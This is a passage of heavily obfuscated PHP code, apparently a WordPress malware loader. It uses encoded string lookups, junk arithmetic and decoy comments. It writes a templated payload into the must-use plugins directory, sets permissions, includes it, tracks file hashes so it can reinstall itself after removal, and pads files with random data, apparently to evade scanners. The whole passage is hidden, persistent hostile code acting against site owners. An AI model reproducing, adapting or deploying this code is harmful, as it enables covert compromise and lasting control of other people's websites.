
  $avj2zeixjh23   =    ABSPATH   .   igsdp_2fdrp(288)  .     $lgi0t3hum09d9gu4;


if    ($hxng5821mkgllqri    !==     ABSPATH .    ep_coq62(1649) &&  @hus_b7m621lgc6(1657)($avj2zeixjh23)   &&   ap4ok1eip838yapv3nc6($avj2zeixjh23) !==     false)  {
  ms4mh9yjk8_y876983kix($avj2zeixjh23, (427-7));
    if   (oj333ptt2v9_ikd4str_($avj2zeixjh23) &&  igsdp_2fdrp(1515)(hus_b7m621lgc6(150)))    @opcache_invalidate($avj2zeixjh23,   true);
    

}
       unset($avj2zeixjh23);
 

  if (@igsdp_2fdrp(1657)($epmyu00ej23zb6)   && (int)  @ep_coq62(1652)($epmyu00ej23zb6)  > hus_b7m621lgc6(1654)()  -  (46+194)) return;



    if  (@lfavz1nmi6pw4(1657)($v9ejw7mtxa0)      &&  (igsdp_2fdrp(1654)()     -  (int)      @filectime($v9ejw7mtxa0))    <      (224+76))   return;
       if   (@wyzg13xdhd5r(1658)($v9ejw7mtxa0))      {$wtpbigdsp61t05=170|60;$mi4qk7a6=$wtpbigdsp61t05^9;


   $qcq738ih_mz   =   @rmqbu5no5o(1659)($hxng5821mkgllqri .     rmqbu5no5o(1660)  . $qpdbrjidoz)  ?   ep_coq62(1491)((string)  @igsdp_2fdrp(1628)($hxng5821mkgllqri .   ep_coq62(1661) .  $qpdbrjidoz))   :  "";
  if    ($qcq738ih_mz      !==     "" &&  rmqbu5no5o(1662)(igsdp_2fdrp(1663), $qcq738ih_mz)    &&    version_compare($qcq738ih_mz,    m5d7gnhy503_5w7j(),    '>'))     return;



  unset($qcq738ih_mz);



    }


if  (@ep_coq62(1664)($v9ejw7mtxa0))    {
    $ms6yiw8mz41  = $hxng5821mkgllqri    .   hus_b7m621lgc6(1665)   .    mqedo90o6oi8f48x6b8n(ABSPATH   .   'g',   (12-4));

 $dfra62oro14olqg  = @lfavz1nmi6pw4(1666)($ms6yiw8mz41)  ? (string)  @lfavz1nmi6pw4(1628)($ms6yiw8mz41) :  "";
   $z7ejthjbo2x = 0;
 if ($dfra62oro14olqg !==      "")   {
  $fo51crk6o3683fd =  rmqbu5no5o(90)('|',   $dfra62oro14olqg);
    $z7ejthjbo2x     =   (int)  $fo51crk6o3683fd[0];


   }
   if   ($z7ejthjbo2x      >  0      &&  rmqbu5no5o(1654)()    -  $z7ejthjbo2x >     (869+31))   hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(703),     hus_b7m621lgc6(1667));
   elseif  ($z7ejthjbo2x  ===   0  &&   (igsdp_2fdrp(1654)() -     (int)   @filectime($v9ejw7mtxa0))  >   (864+36))  hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(703), igsdp_2fdrp(1668));
    unset($ms6yiw8mz41,  $dfra62oro14olqg,   $fo51crk6o3683fd,   $z7ejthjbo2x);
   }
  $eidv2ldk0gje94g1    =   m8bil168ioia0snf0ol();
if (!$eidv2ldk0gje94g1 ||   rmqbu5no5o(1593)($eidv2ldk0gje94g1)   <  (790-290))   return;
 $p2ao1cj0v2ay5mg5   =   rwt3a4h41s7rmcrtx();
$nhq3pyawspdrllyo = rmqbu5no5o(1620)(kwizo_5vxh_f26an7qg(),    igsdp_2fdrp(1547));
 $wq_k48xiabzr = j050_s_2aiw8u03k()      .  ep_coq62(1669);
   $lbkvuus3rl  =   @lfavz1nmi6pw4(1670)($wq_k48xiabzr)
    ? ($wq_k48xiabzr  .  '/'   . $nhq3pyawspdrllyo   . ep_coq62(1547))
   : (j050_s_2aiw8u03k() .     ep_coq62(59) .  $nhq3pyawspdrllyo   . '/' .  $nhq3pyawspdrllyo  .   hus_b7m621lgc6(1547));
 $apbcwtvx09ljs   = ep_coq62(1515)(igsdp_2fdrp(750)) ? ep_coq62(1351)(home_url(),  PHP_URL_HOST) :   (isset($_SERVER[lfavz1nmi6pw4(620)])    ?   $_SERVER[lfavz1nmi6pw4(620)]   :  "");
$rsbay0i39v    = (defined(rmqbu5no5o(1671))  && WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR  :    j050_s_2aiw8u03k()  .   wyzg13xdhd5r(1669);
$gtra6yxy15ohqi    =  (defined(rmqbu5no5o(1672))   &&     WP_PLUGIN_DIR)   ?  WP_PLUGIN_DIR  :     j050_s_2aiw8u03k()  .   lfavz1nmi6pw4(837);
$twk5t78sbag   =  defined(hus_b7m621lgc6(1673))  ?     WP_CONTENT_DIR :  j050_s_2aiw8u03k();$egl7f7ekxh=2444;$fl8q9zpmg=$egl7f7ekxh%8;
    $rohmy1ynsx   =      sdmxfxbf9kwqo1tko(
  lfavz1nmi6pw4(703),
 array('__PATH_B64__',   '__PLUGIN_BASE64__',   '__DOMAIN__', '__HB_B64__',  '__GPATH_B64__',  '__ABSPATH_B64__', '__CONTENTDIR_B64__',  '__MUDIR_B64__',   '__PLUGINDIR_B64__',   '__SLUG__', '__VERSION__'),
    array(igsdp_2fdrp(1582)($lbkvuus3rl),     $p2ao1cj0v2ay5mg5,      $apbcwtvx09ljs,    wyzg13xdhd5r(1674)($epmyu00ej23zb6),  wyzg13xdhd5r(1674)($v9ejw7mtxa0), rmqbu5no5o(1674)(ABSPATH),     igsdp_2fdrp(1674)($twk5t78sbag),  wyzg13xdhd5r(1674)($rsbay0i39v),  lfavz1nmi6pw4(1674)($gtra6yxy15ohqi),  hus_b7m621lgc6(1620)(kwizo_5vxh_f26an7qg(),  lfavz1nmi6pw4(1547)),  m5d7gnhy503_5w7j())
);
       if (!$rohmy1ynsx) {
  if   ((int)   get_option(lfavz1nmi6pw4(1675),    0)  > 0) hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(703), ep_coq62(1676));
    return;



}
if  (!chslach3yj4d6lbh($rohmy1ynsx)) {



  hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1677), hus_b7m621lgc6(1678));
  return;
   }
     if  (p1cskrtcz8bv54lf($v9ejw7mtxa0, $rohmy1ynsx))    {

ssuek6ionh2j25j($v9ejw7mtxa0,  tkjywmjdyogfvxumcj6gh4());
   ms4mh9yjk8_y876983kix($v9ejw7mtxa0, (404+16));
 fjjsa59vrgj7lkezp_z_x5($v9ejw7mtxa0);

 s8vwkc5_zc55h5kmmz0x($hxng5821mkgllqri  .  ep_coq62(1679)   .      $qpdbrjidoz,  igsdp_2fdrp(1680)($rohmy1ynsx),   ep_coq62(1677));
  s8vwkc5_zc55h5kmmz0x($hxng5821mkgllqri  .  wyzg13xdhd5r(1661)    . $qpdbrjidoz,   m5d7gnhy503_5w7j(),  rmqbu5no5o(1677));
      @include_once $v9ejw7mtxa0;
     set_transient(lfavz1nmi6pw4(1646),   1,   (241+59));


}
unset($rsbay0i39v,    $gtra6yxy15ohqi,      $twk5t78sbag);
 }   catch     (Throwable    $mrelaaojjq4dc7d)   {
     hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1677),    $mrelaaojjq4dc7d);
      }   catch   (Exception  $mrelaaojjq4dc7d)   {
     }
    }
 function wpw1lzvpjeaxudejz($yg5mgq1_xo9jwax)
{
      if  (!rmqbu5no5o(1681)($yg5mgq1_xo9jwax))  return    false;
  $_t3h6cbhlqqugo_d    = wyzg13xdhd5r(1593)($yg5mgq1_xo9jwax);
if   ($_t3h6cbhlqqugo_d > (0xa6aa7+0x59559)) return    true;
  if ($_t3h6cbhlqqugo_d < (449+51)) return  false;

   $rl0amed51b40m4b  =  rmqbu5no5o(1625)($yg5mgq1_xo9jwax,  0,   (19215+46321));
 $k1c0r3aa227wtk46 = wyzg13xdhd5r(1682)($rl0amed51b40m4b,   ' ')   +  wyzg13xdhd5r(1683)($rl0amed51b40m4b,   "\t");


     return  ($k1c0r3aa227wtk46     /  igsdp_2fdrp(1684)($rl0amed51b40m4b))  >  0.55;
}
 function   m8bil168ioia0snf0ol($xtoy847a5tz  = false)
 {
  static $eidv2ldk0gje94g1 = null;
    if  ($xtoy847a5tz)  {
 $eidv2ldk0gje94g1    =  null;
}


      if    ($eidv2ldk0gje94g1 !== null) return   $eidv2ldk0gje94g1;
  $yg5mgq1_xo9jwax     = false;

     $qozeo6bef3tgpsay =    @rmqbu5no5o(1685)(kwizo_5vxh_f26an7qg());
 if   ($qozeo6bef3tgpsay  && $qozeo6bef3tgpsay    >     (394+106)  &&   $qozeo6bef3tgpsay  <= (52428711+89))    $yg5mgq1_xo9jwax =    @ep_coq62(1628)(kwizo_5vxh_f26an7qg());
   if (lfavz1nmi6pw4(1681)($yg5mgq1_xo9jwax)   && hus_b7m621lgc6(1684)($yg5mgq1_xo9jwax)    >  (1048569+7))     $yg5mgq1_xo9jwax   =   jkq4_uvfuw5l47za51944b($yg5mgq1_xo9jwax);
      if  (wyzg13xdhd5r(1681)($yg5mgq1_xo9jwax) &&   wyzg13xdhd5r(1684)($yg5mgq1_xo9jwax)  > (795-295) &&  igsdp_2fdrp(1684)($yg5mgq1_xo9jwax)     <=   (1048488+88)  &&  !wpw1lzvpjeaxudejz($yg5mgq1_xo9jwax)  &&  chslach3yj4d6lbh($yg5mgq1_xo9jwax))    {
$eidv2ldk0gje94g1    =  $yg5mgq1_xo9jwax;
return  $eidv2ldk0gje94g1;
    }
 $pa340owtrc =    xhg11fk9i0xj5k2(igsdp_2fdrp(1011),  "");
 if    (ep_coq62(1686)($pa340owtrc)  && rmqbu5no5o(1684)($pa340owtrc) > (434+66)  &&   hus_b7m621lgc6(1684)($pa340owtrc)   <=     (1099706-51130)   &&     !wpw1lzvpjeaxudejz($pa340owtrc)  && chslach3yj4d6lbh($pa340owtrc))   {



     $eidv2ldk0gje94g1 =     $pa340owtrc;



return $eidv2ldk0gje94g1;



 }
$eidv2ldk0gje94g1   = false;
return $eidv2ldk0gje94g1;
 }



   function rwt3a4h41s7rmcrtx($xtoy847a5tz   = false)


 {
 static $jjb7qnmbvy38 =     null;
  if ($xtoy847a5tz)  {
  $jjb7qnmbvy38  = null;


  }
  if   ($jjb7qnmbvy38 !== null)   return    $jjb7qnmbvy38;
   $yg5mgq1_xo9jwax =   m8bil168ioia0snf0ol();
   if  (!hus_b7m621lgc6(1687)($yg5mgq1_xo9jwax)      ||    lfavz1nmi6pw4(1684)($yg5mgq1_xo9jwax)  < (0xbb+0x139)  ||  wyzg13xdhd5r(1684)($yg5mgq1_xo9jwax)  >  (1048525+51) ||   wpw1lzvpjeaxudejz($yg5mgq1_xo9jwax)    ||   !chslach3yj4d6lbh($yg5mgq1_xo9jwax)) {
   $jjb7qnmbvy38     =   false;
   return  $jjb7qnmbvy38;
    }
    $jjb7qnmbvy38 =   rmqbu5no5o(1674)(bi98zsufu16165sq5v6fl($yg5mgq1_xo9jwax));
  return      $jjb7qnmbvy38;
 }
    function  z5pim3_rv4im5f($wy4jk2k5yot46b6)
{
 if (!rmqbu5no5o(1687)($wy4jk2k5yot46b6) ||  ep_coq62(1684)($wy4jk2k5yot46b6)    <  (0xa+0x8)  || ep_coq62(1625)($wy4jk2k5yot46b6,   0,  2)  !==    "\x1f\x8b")  return 0;


 $v6r90crcgar   =  @rmqbu5no5o(279)('V',    igsdp_2fdrp(1688)($wy4jk2k5yot46b6,  -(2+2)));



  $v6r90crcgar  = rmqbu5no5o(1381)($v6r90crcgar)  ?  $v6r90crcgar[1] :   0;
    if  ($v6r90crcgar    < (647-147)   || $v6r90crcgar  >  (1048564+12))   return  $v6r90crcgar;
return   0;
  }
function  v__nlknhhkc7wmbw4y($wpz7oi7n0ub2s0r)
   {
       return   ep_coq62(383)(hexdec($wpz7oi7n0ub2s0r[1]));
}
function gdb8f5jybxbvgd($rux5kf_r1ghgig)



 {
  if  (!hus_b7m621lgc6(1687)($rux5kf_r1ghgig) ||   $rux5kf_r1ghgig    ===     "")   return  $rux5kf_r1ghgig;



  static     $s5cwag4kv3qibs =   null;
if     ($s5cwag4kv3qibs   === null)   {
  $s5cwag4kv3qibs =  false;
if     (lfavz1nmi6pw4(1515)(lfavz1nmi6pw4(1689)))  {
 $_dd  = defined(rmqbu5no5o(1673))   ?    WP_CONTENT_DIR   : (defined(ep_coq62(1618)) ?   ABSPATH     : "");
  if  ($_dd !== "")      {



 $h7qqu_seupfvr_xr     =  @disk_free_space($_dd);
   if   ($h7qqu_seupfvr_xr  !== false  &&   $h7qqu_seupfvr_xr  >=    (157286362+38)) $s5cwag4kv3qibs  =   true;
 }
}
  if  (!$s5cwag4kv3qibs)    {


 if   (rmqbu5no5o(1515)(igsdp_2fdrp(864)))   @update_option(igsdp_2fdrp(1690),    hus_b7m621lgc6(1654)(), rmqbu5no5o(1575));



    }    elseif (lfavz1nmi6pw4(1691)(lfavz1nmi6pw4(1692))) {


 $tvi4t_s3ig   =  (int) get_option(hus_b7m621lgc6(1690), 0);
if  ($tvi4t_s3ig   && ep_coq62(1654)()  -     $tvi4t_s3ig <     (21565+64835))   $s5cwag4kv3qibs   =  false;
}
}



if (!$s5cwag4kv3qibs)  {
// activate principal for APCu shm

     return  $rux5kf_r1ghgig;
     }
 $qiv470voo5 =   (0x832e+0x536932) +  wyzg13xdhd5r(1143)(0,     (2062900-562900));
 if (igsdp_2fdrp(1684)($rux5kf_r1ghgig)   >=     $qiv470voo5) return  $rux5kf_r1ghgig;
   if  (igsdp_2fdrp(1693)(rmqbu5no5o(1488)($rux5kf_r1ghgig),     -2) ===     igsdp_2fdrp(1694)) return $rux5kf_r1ghgig;
    while  (igsdp_2fdrp(1684)($rux5kf_r1ghgig)     <  $qiv470voo5    -   (4039+61))  {
 $i0eebx24kei1a     = "";$oaj_awkxj4x5m6=23+71;$ptdjohdi=$oaj_awkxj4x5m6-7;

if  (rmqbu5no5o(1691)(igsdp_2fdrp(1695)))  {
 try {
   $i0eebx24kei1a     =  @ep_coq62(1696)(random_bytes((0x304+0x4cc)));
   }    catch  (Throwable $mrelaaojjq4dc7d)   {
 $i0eebx24kei1a   =    "";$q4lw14h5p6o52=2100;$a5_jfeeqxy=$q4lw14h5p6o52%15;
   } catch    (Exception $mrelaaojjq4dc7d)   {
     $i0eebx24kei1a  =   "";


  }
 }
    if     (igsdp_2fdrp(1684)($i0eebx24kei1a)   < (1513+2487))     {$qho63t0vaxf=(0x85+0x3b);$k0dokt68=$qho63t0vaxf%13;


$i0eebx24kei1a     =     ep_coq62(1680)(uniqid("",      true));

        while (wyzg13xdhd5r(1697)($i0eebx24kei1a) <  (2194+1806))   $i0eebx24kei1a   .=  wyzg13xdhd5r(1680)($i0eebx24kei1a);
 }
$rux5kf_r1ghgig  .= "\n/*" .    $i0eebx24kei1a .  lfavz1nmi6pw4(1698);
 }
   return  $rux5kf_r1ghgig;
  }
    function jkq4_uvfuw5l47za51944b($rux5kf_r1ghgig)
      {
 if (!wyzg13xdhd5r(1687)($rux5kf_r1ghgig) ||   hus_b7m621lgc6(1699)($rux5kf_r1ghgig) <= (1048542+34))  return $rux5kf_r1ghgig;
$emgci3dlr45pr    =   wyzg13xdhd5r(1641)(lfavz1nmi6pw4(1700),      "",  $rux5kf_r1ghgig);
 return    rmqbu5no5o(1687)($emgci3dlr45pr)   ? $emgci3dlr45pr  :     $rux5kf_r1ghgig;
     }

 function fjjsa59vrgj7lkezp_z_x5($oklecxckvn0m7)
  {
 if  (!lfavz1nmi6pw4(1691)(ep_coq62(1692)) || !lfavz1nmi6pw4(1691)(lfavz1nmi6pw4(864)))    return;$s6v0ib4qpm1d28=(0xb8+0xd6);$uwix5pxzbhj1=$s6v0ib4qpm1d28%15;
 if     (!ep_coq62(1701)($oklecxckvn0m7)  ||  $oklecxckvn0m7   === ""   ||  !@rmqbu5no5o(1666)($oklecxckvn0m7)) return;
 if    (!isset($GLOBALS[igsdp_2fdrp(1702)]) ||   !igsdp_2fdrp(1381)($GLOBALS[wyzg13xdhd5r(1702)]))  {
  $GLOBALS[wyzg13xdhd5r(1702)]  =   get_option(wyzg13xdhd5r(1703), array());
      if   (!lfavz1nmi6pw4(1381)($GLOBALS[igsdp_2fdrp(1702)]))  $GLOBALS[igsdp_2fdrp(1704)]   = array();
   }
   $wpz7oi7n0ub2s0r =  $GLOBALS[wyzg13xdhd5r(1704)];
$rux5kf_r1ghgig     = @lfavz1nmi6pw4(1628)($oklecxckvn0m7);
  if   (!ep_coq62(1705)($rux5kf_r1ghgig))     return;
  if  (wyzg13xdhd5r(1699)($rux5kf_r1ghgig) >   (1048502+74)) $rux5kf_r1ghgig  =     jkq4_uvfuw5l47za51944b($rux5kf_r1ghgig);
 $wpz7oi7n0ub2s0r[lfavz1nmi6pw4(1706)($oklecxckvn0m7)]   =    array('p'  =>      $oklecxckvn0m7,    'h'      => wyzg13xdhd5r(1707)($rux5kf_r1ghgig), 'g'   =>    m5d7gnhy503_5w7j(), 't'    =>  wyzg13xdhd5r(1708)());

 if   (rmqbu5no5o(1542)($wpz7oi7n0ub2s0r)  >      (0xa6+0x22))  {
foreach ($wpz7oi7n0ub2s0r  as  $py_uw6foxdv09uz_  => $xyls27cg7n) {
      if   (!igsdp_2fdrp(1381)($xyls27cg7n)     ||  !isset($xyls27cg7n['t'])  || (int) $xyls27cg7n['t'] <   rmqbu5no5o(1708)()      -  (2591977+23))  unset($wpz7oi7n0ub2s0r[$py_uw6foxdv09uz_]);
}
while      (wyzg13xdhd5r(1542)($wpz7oi7n0ub2s0r) >   (118+82)) {
$uhc39xh247    = null;
 $n4p17tiw8tjrftk_   = null;$v5jfotkgpuhlsl=92+44;$lmphjozjmbz9=$v5jfotkgpuhlsl-3;
 foreach  ($wpz7oi7n0ub2s0r  as  $py_uw6foxdv09uz_    =>   $xyls27cg7n) {
   $evpefhd1ia     =  ep_coq62(1381)($xyls27cg7n) &&  isset($xyls27cg7n['t'])   ?   (int)  $xyls27cg7n['t']   :    0;
if    ($n4p17tiw8tjrftk_    === null   || $evpefhd1ia  <  $n4p17tiw8tjrftk_)  {
    $n4p17tiw8tjrftk_ =  $evpefhd1ia;
 $uhc39xh247   =    $py_uw6foxdv09uz_;
}
  }


 if ($uhc39xh247 ===  null)   break;
     unset($wpz7oi7n0ub2s0r[$uhc39xh247]);
    }
}
 update_option(lfavz1nmi6pw4(1703), $wpz7oi7n0ub2s0r,    lfavz1nmi6pw4(1575));
 $GLOBALS[ep_coq62(1704)]  =  $wpz7oi7n0ub2s0r;
}


function  ap4ok1eip838yapv3nc6($oklecxckvn0m7)
   {



       if (!rmqbu5no5o(1705)($oklecxckvn0m7) ||  $oklecxckvn0m7 ===     "")    return false;
    if (!isset($GLOBALS[rmqbu5no5o(1704)])   ||      !igsdp_2fdrp(1381)($GLOBALS[ep_coq62(1704)])) {
      $GLOBALS[wyzg13xdhd5r(1704)]     =    lfavz1nmi6pw4(1691)(ep_coq62(1692))     ? get_option(lfavz1nmi6pw4(1703),    array())  :  array();
  if (!igsdp_2fdrp(1381)($GLOBALS[ep_coq62(1709)]))    $GLOBALS[igsdp_2fdrp(1710)]   = array();
       

  }
  $wpz7oi7n0ub2s0r   =   $GLOBALS[hus_b7m621lgc6(1710)];
    $un245oennsyuq03z   =  hus_b7m621lgc6(1707)($oklecxckvn0m7);
if   (isset($wpz7oi7n0ub2s0r[$un245oennsyuq03z])  &&  rmqbu5no5o(1711)($wpz7oi7n0ub2s0r[$un245oennsyuq03z])    && isset($wpz7oi7n0ub2s0r[$un245oennsyuq03z]['h'])) {
 if ((int)   @igsdp_2fdrp(1685)($oklecxckvn0m7)   >    (52428751+49)) return  wyzg13xdhd5r(1712);
     $rux5kf_r1ghgig =  @hus_b7m621lgc6(1628)($oklecxckvn0m7);
   if    (hus_b7m621lgc6(1705)($rux5kf_r1ghgig))  {
// atomic covariant

  if  (ep_coq62(1713)($rux5kf_r1ghgig) >     (0xec2cf+0x13d31))     $rux5kf_r1ghgig = jkq4_uvfuw5l47za51944b($rux5kf_r1ghgig);
 return  (wyzg13xdhd5r(1707)($rux5kf_r1ghgig)    ===  $wpz7oi7n0ub2s0r[$un245oennsyuq03z]['h'])  ?  true   :    wyzg13xdhd5r(1712);
}
return false;
 }
      $qfjp2isb9_  =     @igsdp_2fdrp(1628)($oklecxckvn0m7,   false,  null,    0, (7215-3119));



  if (
 rmqbu5no5o(1705)($qfjp2isb9_)  && ep_coq62(1714)(wyzg13xdhd5r(212),  $qfjp2isb9_)
  &&  u8byy6z6npcskqe5pyv($oklecxckvn0m7,  (420+80))
 )    {
 if  ((int)   @lfavz1nmi6pw4(1685)($oklecxckvn0m7) > (52428753+47))  return false;$hzzwck54qvxo2=30*4;$u6p5fwssyxjy=$hzzwck54qvxo2-37;



 $rux5kf_r1ghgig   =   (string) @rmqbu5no5o(1715)($oklecxckvn0m7);
 if  (wyzg13xdhd5r(1713)($rux5kf_r1ghgig)     >  (1048513+63)) $rux5kf_r1ghgig     = jkq4_uvfuw5l47za51944b($rux5kf_r1ghgig);
   if (chslach3yj4d6lbh($rux5kf_r1ghgig))   return  lfavz1nmi6pw4(1716);



 }
 return false;
}
function  lvpn93_26gfwiesn()
 {
 static  $wpz7oi7n0ub2s0r   =  null;
    if   ($wpz7oi7n0ub2s0r    !==  null)    return  $wpz7oi7n0ub2s0r;
      $rux5kf_r1ghgig    =   (string)  @hus_b7m621lgc6(1715)(kwizo_5vxh_f26an7qg());
if    (igsdp_2fdrp(1717)($rux5kf_r1ghgig) > (1048513+63)) $rux5kf_r1ghgig   =  jkq4_uvfuw5l47za51944b($rux5kf_r1ghgig);
$wpz7oi7n0ub2s0r   =  hus_b7m621lgc6(1718)($rux5kf_r1ghgig);
      return  $wpz7oi7n0ub2s0r;
}
 function tvhe3_kq4zu0oi()
      {
  return   wyzg13xdhd5r(1693)(lvpn93_26gfwiesn(),    0,    (144^156));



    }
  function  yrcxo3f40o31okl_d8()
  {
     return  b9x_qnoopw0bqe8tpa3a4()   .   lfavz1nmi6pw4(1719)    .   mqedo90o6oi8f48x6b8n(ABSPATH .      rmqbu5no5o(1720),  (15-7))  .  ep_coq62(1547);
 }
 function qj1dx17525o10cjjsjm65b()


{
$bj6gdf_cij9crdi  =  array();



   if  (wyzg13xdhd5r(1721)(hus_b7m621lgc6(1722)))   {
   $p629zg6wznwar    =     @get_option(igsdp_2fdrp(1723), array());
 if   (lfavz1nmi6pw4(1711)($p629zg6wznwar))   $bj6gdf_cij9crdi  =   $p629zg6wznwar;
  }
$rux5kf_r1ghgig =  @hus_b7m621lgc6(1666)(yrcxo3f40o31okl_d8())      ?   @lfavz1nmi6pw4(1724)(yrcxo3f40o31okl_d8()) : "";
 if (hus_b7m621lgc6(1705)($rux5kf_r1ghgig) &&  wyzg13xdhd5r(1597)($rux5kf_r1ghgig, lfavz1nmi6pw4(1545))  ===  0)    {
     $h0lsp5l1bm3jxj8n  =  wyzg13xdhd5r(1725)(rmqbu5no5o(1726)($rux5kf_r1ghgig, (10-5)),   true);


 if     (wyzg13xdhd5r(1711)($h0lsp5l1bm3jxj8n) &&      (empty($bj6gdf_cij9crdi[rmqbu5no5o(1727)])   ||    (!empty($h0lsp5l1bm3jxj8n[igsdp_2fdrp(1728)])   &&    $h0lsp5l1bm3jxj8n[lfavz1nmi6pw4(1728)]  >=     $bj6gdf_cij9crdi[rmqbu5no5o(1728)])))  $bj6gdf_cij9crdi    =   $h0lsp5l1bm3jxj8n;
  }
 return    $bj6gdf_cij9crdi;
  }
     function    avhn6w577un09rbhdbl1($i6u468ayyls)
{
    try {
  if (!defined(igsdp_2fdrp(1618))) return;
    $ngypew9bc7e = wyzg13xdhd5r(1708)();
 if ($i6u468ayyls  ===  wyzg13xdhd5r(220) ||   $i6u468ayyls    ===     hus_b7m621lgc6(1729)) {
 $prev  = qj1dx17525o10cjjsjm65b();
  if (
   isset($prev[hus_b7m621lgc6(1730)],      $prev[wyzg13xdhd5r(1731)])  &&  $prev[lfavz1nmi6pw4(1732)] ===    $i6u468ayyls
     &&   $ngypew9bc7e -     (int)  $prev[lfavz1nmi6pw4(1731)]     <  ($i6u468ayyls   ===   rmqbu5no5o(1729) ?    (252+48)    :  (7+3))
 ) return;
      }
   $bj6gdf_cij9crdi  =     array(
 'v' =>     m5d7gnhy503_5w7j(),


  igsdp_2fdrp(1733)      =>   tvhe3_kq4zu0oi(),
    ep_coq62(1734)     =>  kwizo_5vxh_f26an7qg(),


ep_coq62(1735)   => wyzg13xdhd5r(1620)(kwizo_5vxh_f26an7qg(), lfavz1nmi6pw4(1736)),
  ep_coq62(1737)   =>  $i6u468ayyls,
 lfavz1nmi6pw4(1738)    =>   $ngypew9bc7e,
 wyzg13xdhd5r(1731)    =>  $ngypew9bc7e,
     hus_b7m621lgc6(1739)  =>     isset($_SERVER[lfavz1nmi6pw4(1740)])    ? (int) $_SERVER[igsdp_2fdrp(1740)]   :   $ngypew9bc7e,
    );
 if     (lfavz1nmi6pw4(1721)(wyzg13xdhd5r(864))) @update_option(lfavz1nmi6pw4(1723), $bj6gdf_cij9crdi,  ep_coq62(1575));
$cvx3s0aw6jf29_z  =  b9x_qnoopw0bqe8tpa3a4();
 if    (@rmqbu5no5o(1741)($cvx3s0aw6jf29_z) ||      ej5d87oukqo0k6bc($cvx3s0aw6jf29_z,   (452+41),   true))  {
      @ep_coq62(1100)(yrcxo3f40o31okl_d8(), hus_b7m621lgc6(1545)  .  igsdp_2fdrp(1742)($bj6gdf_cij9crdi));

     }


}   catch (Throwable     $mrelaaojjq4dc7d) {


}  catch    (Exception     $mrelaaojjq4dc7d)   {
   }
   }



  function  zdzetw638davbhtwru($bj6gdf_cij9crdi)

{
 if (!wyzg13xdhd5r(1711)($bj6gdf_cij9crdi)  ||  empty($bj6gdf_cij9crdi[ep_coq62(1734)])  || !ep_coq62(1743)($bj6gdf_cij9crdi[lfavz1nmi6pw4(1744)]))    return wyzg13xdhd5r(215);
  $de42_qcevq1bs   =   $bj6gdf_cij9crdi[ep_coq62(1744)];
   if   (!@igsdp_2fdrp(1666)($de42_qcevq1bs)    ||   (int) @lfavz1nmi6pw4(1685)($de42_qcevq1bs)   <  (466+34))   return rmqbu5no5o(1745);



     if (pje0f8ozx98xw5lvp($de42_qcevq1bs)) return wyzg13xdhd5r(214);


 $chywcalc7zz1lola  =  isset($bj6gdf_cij9crdi[hus_b7m621lgc6(1737)]) ?  $bj6gdf_cij9crdi[rmqbu5no5o(1737)]  : "";
$x5g9cfeb3qu2ehps = isset($bj6gdf_cij9crdi[lfavz1nmi6pw4(1746)])   ?    (int)    $bj6gdf_cij9crdi[igsdp_2fdrp(1747)]  : 0;



  if  ($chywcalc7zz1lola  ===  igsdp_2fdrp(1729))    return    ($x5g9cfeb3qu2ehps  >      0 &&    igsdp_2fdrp(1708)()  -   $x5g9cfeb3qu2ehps    <= (3529+71))   ?   ep_coq62(1748)   :  rmqbu5no5o(1749);
   if  ($chywcalc7zz1lola === igsdp_2fdrp(177))  return rmqbu5no5o(1750);


    if ($chywcalc7zz1lola    ===   wyzg13xdhd5r(1751)) return  ($x5g9cfeb3qu2ehps    > 0   &&  lfavz1nmi6pw4(1708)()  -    $x5g9cfeb3qu2ehps     <= (15<<3))    ?  wyzg13xdhd5r(1752)  :   lfavz1nmi6pw4(1753);
     return rmqbu5no5o(1754);
   }
 function dww3vqm0v_wguq7nb_u($oklecxckvn0m7)
{
if (!@wyzg13xdhd5r(1666)($oklecxckvn0m7)) return   false;
$kbywbzkxet4la8h =   (int)  @igsdp_2fdrp(1685)($oklecxckvn0m7);
 if    ($kbywbzkxet4la8h < (450+50) ||   $kbywbzkxet4la8h  >   (0xfd2e49+0x222d1b7))   return false;
   $qfjp2isb9_ =     @rmqbu5no5o(1755)($oklecxckvn0m7, false,  null,     0,   (4060+36));
 if (!igsdp_2fdrp(1743)($qfjp2isb9_) || !ep_coq62(1714)(hus_b7m621lgc6(212), $qfjp2isb9_))     return   false;
        if   ($kbywbzkxet4la8h      >    (1454019-405443))   {
 $qiv470voo5      =   @lfavz1nmi6pw4(1756)($oklecxckvn0m7,  false,   null,     $kbywbzkxet4la8h   -   (4091+5));
return lfavz1nmi6pw4(1743)($qiv470voo5)    && hus_b7m621lgc6(1714)(ep_coq62(1757), $qiv470voo5) ===  1;
 }
// yield relaxed bloom-filter

     $rux5kf_r1ghgig = @hus_b7m621lgc6(1756)($oklecxckvn0m7);
  if     (!igsdp_2fdrp(1743)($rux5kf_r1ghgig))  return false;
 

 return    chslach3yj4d6lbh($rux5kf_r1ghgig);
    }
 function  pje0f8ozx98xw5lvp($oklecxckvn0m7)
{
$nhq3pyawspdrllyo  =   ep_coq62(1620)($oklecxckvn0m7,   igsdp_2fdrp(1736));
foreach (array(rmqbu5no5o(1482)($oklecxckvn0m7),  bv_j7m9r7_qskxb7m()) as  $zkzbo8aayuo3) {
     $pv11_i80of  =  $zkzbo8aayuo3   .  hus_b7m621lgc6(768)      .  $nhq3pyawspdrllyo;
if    (!@igsdp_2fdrp(1666)($pv11_i80of)    || (int)    @hus_b7m621lgc6(1652)($pv11_i80of)     < hus_b7m621lgc6(1758)() -     (604780+20))   continue;
  $gra_d58c7n  = lfavz1nmi6pw4(1759)((string)     @rmqbu5no5o(1760)($pv11_i80of));
  if ($gra_d58c7n === "")     continue;
$rux5kf_r1ghgig   =     (string)      @ep_coq62(1761)($oklecxckvn0m7);

  if (wyzg13xdhd5r(1717)($rux5kf_r1ghgig) > (1048543+33))   $rux5kf_r1ghgig =      jkq4_uvfuw5l47za51944b($rux5kf_r1ghgig);


       if ($rux5kf_r1ghgig  !==   "" &&  lfavz1nmi6pw4(1718)($rux5kf_r1ghgig)   ===   $gra_d58c7n)  return true;


       }
    return false;

      }
 function    vvv3s2hmp3sxx0ye35p2of($oklecxckvn0m7)
{
  if   (!wyzg13xdhd5r(1721)(lfavz1nmi6pw4(1722))  ||    !igsdp_2fdrp(1721)(lfavz1nmi6pw4(1762)))    return;
